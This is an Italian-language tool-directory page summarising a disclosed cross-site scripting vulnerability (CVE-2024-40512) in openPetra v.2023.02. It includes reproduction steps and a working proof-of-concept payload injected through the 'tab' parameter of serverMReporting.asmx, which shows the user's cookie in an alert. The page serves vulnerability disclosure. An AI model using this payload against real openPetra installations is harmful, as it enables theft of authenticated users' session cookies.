Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-40512 — OpenPetra v.2023.02 CVE-2024-40512 | Kitploit
Strumenti/GitHubGitHub/jansen-c-moreira/cve-2024-40512
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubjansen-c-moreira/cve-2024-40512

CVE-2024-40512

OpenPetra v.2023.02 CVE-2024-40512

Vedi Repository
12 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-40512

Vulnerabilità di Cross Site Scripting in openPetra v.2023.02 tramite la funzione serverMReporting.asmx.

Descrizione: Un utente non autenticato può rubare i cookie di un utente autenticato sfruttando una XSS in openPetra v.2023.02 tramite la funzione serverMReporting.asmx.

Versione del prodotto vulnerabile: openPetra v.2023.02
Autore CVE: Jansen Moreira Data: 13/07/2024
CVE: CVE-2024-40512
Link CVE: https://www.cve.org/CVERecord?id=CVE-2024-40512
Link NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40512
Link Tenable: https://www.tenable.com/cve/CVE-2024-40512
Confermato il: 13/07/2024
Testato su: Linux

Passaggi per riprodurre:

1- Accedere alla home page
2- Utilizzare il seguente percorso e aggiungere il payload XSS nel parametro tab. ES.: http://target.com/api/serverMReporting.asmx?bnd=TMReportingWebServiceSoap&op=TReportGeneratorWebConnector_GetProgress&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- Passare il mouse sull'elemento dell'indice a sinistra per attivare la XSS

Payload:
tab: x" onmouseover=alert(document.cookie) x="

Scopritore(i)/Crediti: Jansen Moreira

Scarica lo strumento